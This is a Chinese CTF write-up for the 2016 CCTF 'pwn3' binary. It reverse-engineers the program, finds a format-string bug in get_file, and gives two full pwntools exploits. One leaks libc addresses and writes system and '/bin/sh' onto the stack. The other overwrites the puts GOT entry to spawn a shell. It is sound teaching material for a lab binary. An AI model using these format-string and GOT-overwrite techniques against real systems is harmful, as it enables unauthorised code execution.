2016-CCTF pwn3
写在前面
文件列表中的 pwn3 是主要的 elf 文件,而为了测试 exp 的效果,我就使用本地的 libc 库了,思路是一样的,只是地址的计算会有偏差,如果小伙伴不清楚地址的计算方法的话,可以查看我的另一篇博客,这里不再细说它的原理了
本次博客将提供两个 exp ,一个是我自己做时用的,另一个是对 ctf-wiki 给出的 exp 的解读,当然,使用的 libc 都是我本地的,版本如下
>>>ldd pwn3
linux-gate.so.1 (0xf7f62000)
libc.so.6 => /lib32/libc.so.6 (0xf7d7d000)
/lib/ld-linux.so.2 (0xf7f64000)
checksec 检查
拿到题目后,按照惯例,先 checksec 一下
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看到 relro 开了一部分,那么 GOT 可以被修改 ,同时并没有开启 PIE ,那么 GOT 和 PLT 的地址是确定的 ,这两点在后面的两个 exp 中都会用到
逆向分析各个函数
main
把 pwn3 文件拖进 32 位的 ida 中,先查看其主函数的反汇编
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // eax
char s1; // [esp+14h] [ebp-2Ch]
int v5; // [esp+3Ch] [ebp-4h]
setbuf(stdout, 0);
ask_username(&s1);
ask_password(&s1);
while ( 1 )
{
while ( 1 )
{
print_prompt();
v3 = get_command();
v5 = v3;
if ( v3 != 2 )
break;
put_file();
}
if ( v3 == 3 )
{
show_dir();
}
else
{
if ( v3 != 1 )
exit(1);
get_file();
}
}
}
可以看到,先是用同一块缓冲区调用了 ask_username 和 ask_password 两个函数,然后进入一个循环,循环中首先输出提示符(print_prompt),然后获取用户的输入(get_command),根据用户命令的返回值,分别调用 put_file、show_dir、get_file、exit 四个函数
ask_username
char *__cdecl ask_username(char *dest)
{
char src[40]; // [esp+14h] [ebp-34h]
int i; // [esp+3Ch] [ebp-Ch]
puts("Connected to ftp.hacker.server");
puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
printf("Name (ftp.hacker.server:Rainism):");
__isoc99_scanf("%40s", src);
for ( i = 0; i <= 39 && src[i]; ++i )
++src[i];
return strcpy(dest, src);
}
函数最大获取 40 个字节的输入,把输入的每个字符加一后把它们赋值给传进来的 dest ,并返回指向 dest 的指针,这里如果输入的长度大于等于 40 个,其实是会因为缺少 ‘\0‘ 而出问题的,而后面的函数中也存在很多同样的问题,不过这里就先忽略它们吧
ask_password
int __cdecl ask_password(char *s1)
{
if ( strcmp(s1, "sysbdmin") )
{
puts("who you are?");
exit(1);
}
return puts("welcome!");
}
函数将刚刚调用 ask_username 后得到的 dest 与 ‘sysbdmin’ 做比较,如果不想等直接退出,相等的话才有机会进入 main 之后的内容
get_command
signed int get_command()
{
char s1; // [esp+1Ch] [ebp-Ch]
__isoc99_scanf("%3s", &s1);
if ( !strncmp(&s1, "get", 3u) )
return 1;
if ( !strncmp(&s1, "put", 3u) )
return 2;
if ( !strncmp(&s1, "dir", 3u) )
return 3;
return 4;
}
函数接受 get、put、dir 三种有效的命令,结合后面的分析可以知道,各个输入的作用如下:
- get:根据文件名读取一个文件
- put:写入一个文件
- dir:查看当前的所有文件
- 其他:退出程序
同时经过后面的分析可以知道,这里的所谓 '文件' 其实是用链表(准确地说是 ‘链栈’ 这种数据结构)构成的临时内容,并不是真实存在于磁盘上的
put_file
_DWORD *put_file()
{
_DWORD *v0; // ST1C_4
_DWORD *result; // eax
v0 = malloc(0xF4u);
printf("please enter the name of the file you want to upload:");
get_input((int)v0, 40, 1);
printf("then, enter the content:");
get_input((int)(v0 + 10), 200, 1);
v0[60] = file_head;
result = v0;
file_head = (int)v0;
return result;
}
函数先使用 malloc 分配 244 个字节大小的空间,然后调用两次 get_input 函数获取输入(经过后面的分析可知,get_input 的第一个参数是写入的起始地址,第二个参数是最大字节数,第三个参数暂时不用管),并在最后的 4 个字节内写入上一块调用 put_file 时获得的地址,然后更新头指针 file_head 并返回本次分配的空间的起始地址
也就是说,每次调用 put_file ,会分配出 244 个字节大小的空间,其中前 40 个字节保存文件名,中间的 200 个字节保存文件内容,最后 4 个字节保存上一块空间的地址,而由于 file_head 是 bss 段的变量,所以初值是 0 ,这样就得到了一条链栈
get_input
signed int __cdecl get_input(int a1, int a2, int a3)
{
signed int result; // eax
_BYTE *v4; // [esp+18h] [ebp-10h]
int v5; // [esp+1Ch] [ebp-Ch]
v5 = 0;
while ( 1 )
{
v4 = (_BYTE *)(v5 + a1);
result = fread((void *)(v5 + a1), 1u, 1u, stdin);
if ( result <= 0 )
break;
if ( *v4 == 10 && a3 )
{
if ( v5 )
{
result = v5 + a1;
*v4 = 0;
return result;
}
}
else
{
result = ++v5;
if ( v5 >= a2 )
return result;
}
}
return result;
}
函数在遇到回车符号或达到最大输入量(第二个参数)前,会一直向第一个参数指定的缓冲区中写入输入的内容,我觉得这里的代码对于 ‘只有回车的输入’ 的处理是比较巧妙的,可以学习一下
show_dir
int show_dir()
{
int v0; // eax
char s[1024]; // [esp+14h] [ebp-414h]
int i; // [esp+414h] [ebp-14h]
int j; // [esp+418h] [ebp-10h]
int v5; // [esp+41Ch] [ebp-Ch]
v5 = 0;
j = 0;
bzero(s, 0x400u);
for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
{
for ( j = 0; *(_BYTE *)(i + j); ++j )
{
v0 = v5++;
s[v0] = *(_BYTE *)(i + j);
}
}
return puts(s);
}
函数遍历前面利用 put_file 得到的链栈,并依次将它们的名字复制到大小为 1024 个字节的缓冲区中,然后输出缓冲区的内容
因为是链栈,所以后调用 put_file 得到的文件名会先被输出出来 ,这一点在 ctf-wiki 提供的 exp 中有用到,请读者记住
get_file
int get_file()
{
char dest; // [esp+1Ch] [ebp-FCh]
char s1; // [esp+E4h] [ebp-34h]
char *i; // [esp+10Ch] [ebp-Ch]
printf("enter the file name you want to get:");
__isoc99_scanf("%40s", &s1);
if ( !strncmp(&s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, &s1) )
{
strcpy(&dest, i + 40);
return printf(&dest);
}
}
return printf(&dest);
}
我们的主要目标,本身的功能是根据用户输入的文件名到链栈中去寻找,如果有同名的文件那么输出内容,但是因为最后将文件的内容直接 printf 出来,所以存在 格式化字符串漏洞 ,我们的攻击主要在这里施展,注意,后文所说的相当于 printf 的第 n 个参数是指除 format 参数以外的第 n 个参数,比如实际的第二个参数在这里会被说成是第 1 个参数,这样说主要是为了和 ‘%m$’ 中的 m 保持一致
exp1
from pwn import *
p = process('./pwn3')
elf = ELF('./pwn3')
p.recv()
# 这里是为了进入 main 函数的主循环
# 字符串内容通过 'sysbdmin' 逐位减一获得
p.sendline('rxraclhm')
p.recv()
# 写一个文件并读取,k 为文件名, v 为文件内容
def set_and_exec(k, v):
p.sendline('put')
p.recv()
p.sendline(k)
p.recv()
p.sendline(v)
p.recv()
p.sendline('get')
p.recv()
p.sendline(k)
set_and_exec('getPrintf', b'%8$s'+p32(elf.got['printf']))
printf_addr = u32(p.recv()[:4])
# 这里的偏移量取决于读者的 libc ,计算方法前文已给出
system_addr = printf_addr-81488
bin_sh_addr = printf_addr+1224047
set_and_exec('getEbp', b'%70$d a')
tmp = p.recv()
ebp = int(tmp.split()[0])
esp = (ebp & 0x0FFFFFFF0) - 0x40
payload = fmtstr_payload(7, {esp+4: bin_sh_addr})
set_and_exec('setSH', payload)
p.recv()
payload = fmtstr_payload(7, {esp-4: system_addr})
set_and_exec('setSy', payload)
p.recv()
p.interactive()
这个 exp 是我自己做时使用的,大体一直在利用格式化字符串漏洞,主要思路是通过漏洞泄漏 got 表来获取 printf 的地址,然后用偏移计算出 system 和 /bin/sh 的地址,再通过漏洞获取 main 函数的 esp 的地址,最后通过漏洞在 esp+4 的位置写入 /bin/sh 的地址,在 esp-4 的位置写入 system 的地址,具体做法如下:
如前文分析,get_file 中存在着格式化字符串漏洞,而 elf 文件本身并没有开启 pie ,所以我们可以通过这里来泄漏出库函数的地址,也就是使用 ‘%m$s’ 的形式将 got 表中 printf 的实际地址输出,格式化字符串漏洞的具体原理请参考我的另一篇博客,这里我们以 dest 作为payload 的载体,可以看到它的位置在栈中为 [esp+1ch],也就是相当于 printf 的第 28/4=7 个参数,但是为了防止 got 中 printf 的地址的高八位为0导致输入被 scanf 截断,所以我们把 ‘%m$s’ 写在前面,而其中的 m 因此从 7 变为 8 ,得到 payload 为 b'%8$s'+p32(elf.got['printf'])
,其中 elf 为 pwn3 的 ELF 对象
我们通过主函数中的 put 指令调用 put_file ,文件名可以随意,文件内容写入上面的 payload,这样在用 get 来调用 get_file 后,最后的 printf 就会将 got 表中的内容泄漏,从而拿到 printf 的地址 ;拿到地址后,通过计算偏移可得到 system 和 /bin/sh 的地址,这里用变量 system_addr 和 bin_sh_addr 来保存
然后来拿 esp 的地址,主要思路是先泄漏 main 的 ebp 地址,然后根据它来计算出 main 的 esp 地址,具体做法如下:
通过查看 get_file 的汇编代码,可以发现 esp 被下移了 280 个字节的大小(esp 原来位置保存着 main 的 ebp 地址),那么在调用 printf 时,相当于它的第 280/4=70 个参数,所以可以通过 ‘%70$d’ 来输出,然后通过 python 的 int 函数将其转换为数字;这里要注意的是,我们不能事先知道输出的数字的位数,所以可以构造 payload 为 b'%70$d a'
,然后使用 split 来分割得到全部的数字部分
然后查看 main 的汇编代码,可以发现 esp = (ebp & 0x0FFFFFFF0) - 0x40
,在 python 中使用该等式可得到 esp 的地址;获得 esp 后,只有在 esp+4 和 esp-4 的部分分别写入 /bin/sh 和 system 的地址即可
exp2
from pwn import *
elf = ELF('./pwn3')
libc = ELF('/lib32/libc.so.6')
p = process('./pwn3')
p.recv()
p.sendline('rxraclhm')
p.recv()
def put(k, v):
p.sendline('put')
p.recv()
p.sendline(k)
p.recv()
p.sendline(v)
p.recv()
def get(k):
p.sendline('get')
p.recv()
p.sendline(k)
return p.recv()
puts_got = elf.got['puts']
put(';', b'%8$s'+p32(puts_got))
puts_addr = u32(get(';')[:4])
system_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']
payload = fmtstr_payload(7, {puts_got:system_addr})
put('/bin/sh', payload)
get('/bin/sh')
p.sendline('dir')
p.interactive()
这个 exp 是 ctf-wiki 给出的,我修改为能够在我本机运行的版本,下面对其进行解读
该 exp 的主要思路是利用了 elf 文件只开启了部分 relro 使得 got 表可以被修改的特点,修改了 puts 函数的地址为 system 的地址,同时将文件名设置为 '/bin/sh;' ,从而在 main 函数中通过 dir 来调用 show_dir 时,最后的 puts(s) 等价于调用了 system('/bin/sh;')
这里要注意的是,我们至少要调用两次 put_file ,第一次用来获得 puts 的地址,第二次用来修改 got 中 puts 的地址为 system 的地址,而 show_dir 会将链栈中的内容全部输出,所以为了保证传递给 puts(也就是修改后的 system 函数)的参数是合理的 shell 命令,我们把第一次的文件名设置为 ';' ,把第二次的文件名设置为 '/bin/sh',这样根据先进后出的特性,最后组合出来的参数就是 '/bin/sh;' ,而在 shell 中分号用于在一行中分割多条指令,命令以分号结尾也是被允许的,因此我们可以拿到 shell